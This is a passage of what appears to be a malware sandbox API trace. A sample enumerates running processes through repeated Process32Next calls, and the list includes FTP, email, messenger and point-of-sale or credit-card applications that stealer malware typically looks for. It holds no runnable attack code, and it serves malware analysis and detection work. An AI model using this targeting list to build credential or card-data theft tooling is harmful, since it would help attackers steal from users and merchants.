th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0262.694] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0262.696] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.697] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.699] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0262.700] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0262.701] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0262.703] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.704] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0262.705] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0262.707] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.709] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0262.711] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0262.712] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0262.713] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0262.715] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0262.716] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0262.718] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0262.719] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0262.720] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0262.769] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0262.771] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0262.772] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0262.774] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0262.775] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0262.776] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0262.778] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0262.779] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0262.780] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0262.782] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0262.784] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0262.787] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0262.788] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0262.790] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0262.791] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0262.792] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0262.794] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0262.795] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0262.797] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0262.798] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0262.800] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0262.802] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0262.804] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0262.805] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0262.807] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0262.808] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0262.810] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0262.812] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0262.863] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0262.865] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0262.867] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0262.868] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0262.870] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0262.872] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0262.873] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0262.875] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0262.877] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0262.878] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0262.880] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0262.882] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0262.884] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0262.886] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0262.888] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0262.890] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0262.892] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0262.893] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0262.941] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0262.944] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0262.946] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0262.948] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0262.950] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0262.952] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0262.954] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0262.960] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0262.962] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0262.964] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0262.966] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0262.968] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0262.970] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0262.972] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0262.974] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.976] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.978] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0262.980] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0263.022] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, 